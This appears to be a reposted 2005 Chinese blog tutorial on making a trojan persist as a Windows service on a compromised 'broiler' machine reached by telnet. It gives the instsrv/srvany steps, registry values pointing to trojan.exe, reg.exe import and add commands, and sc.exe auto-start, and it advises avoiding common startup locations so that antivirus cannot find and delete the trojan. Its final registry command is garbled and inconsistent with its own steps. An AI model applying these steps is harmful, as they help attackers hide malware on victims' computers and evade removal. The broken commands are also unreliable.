您的位置:首页 > 其它

如何把木马注册为系统服务

2005-09-02 12:09 453 查看
一般木马启动的办法不外乎以下几种:
1.启动组
2.autoexe.bat
3.注册表
4.win.ini
5.sysytem.ini
6.winstat.bat
7.*.inf
8.*.autorun
那么我们如何把自己的马儿注册为系统服务,从而增强其隐蔽性呢?下面是实现办法:
我们所需的工具已经由微软提供在win2000 resouce kit工具包里,名为instsrv.exe srvany.exe reg.exe sc.exe当然还需要配置好的马儿,
就叫trojan.exe吧。我们先telnet上肉鸡,将上述工具copy到system32目录下,下面就开始行动啦,

命令为instsrv.exe myservice srvany.exe。
这样就已经注册了一项系统服务,名为myservice,下面就要操作注册表,我们要在heky_local_machine\system\currentcontrolset\services找到我们刚才添加的myservice,

新建一个键,名为parameters,在parameters下新建键名为application,类型为reg_sz,

数据值就是c:\winnt\system32\trojan.exe.

那么我们如何实现以上操作呢?偶提供两种办法,一现在自己机机上操作,将heky_local_machine\system\currencontrolset\services-parameters导出为srv.reg一并传到肉鸡,

然后运行reg.exe /import srv.reg .这样就将KO了。另外一种就是用reg.exe手动添加。

reg.exe的用法如下:
F:\tools\nettools>reg
REG QUERY /?
REG ADD /?
REG delete /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
REG EXPORT /?
REG IMPORT /?

ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey The full name of a registry key under the selected ROOTKEY
valueName The value name, under the selected Key, to add
/ve add the empty value name <no name>
Type [ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
If omitted, REG_SZ is assumed
Separator Specify one charactor that you use as the separator in your data
string for REG_MULTI_SZ. If omitted, use "\0" as the separator
Data The data to assign to the registry valueName being added
/f Force overwriting the existing registry entry without prompt
每次都会返回代码0,1 0表示成功,1表示失败:(。
下是一例子:REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %"systemroot"%
Adds a value (name: Path, type: REG_EXPAND_SZ, data: %systemroot%)
Notice: Put the double quote ( " ) inside the expand string
根据这个例子不难看出,我们要添加的服务的命令应该是:REG ADD HKCC\system\currentcontrolset\parameters /v myservice /t reg_sz /d

c:\winnt\system32

嘿嘿!好了马儿就变成服务了呀,下面就运行trojan.exe吧

另外你需要用sc.exe来congfig一下,将myservice配置为auto,sc.exe

大家用的多了,偶就不多废话了。

^_^加上马儿的自我保护,你的马会不会变成"不死神马"呀!

注意尽量不要让木马以开头提到的8种方法启动,以免被查出trojan.exe的路径而被删除掉。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: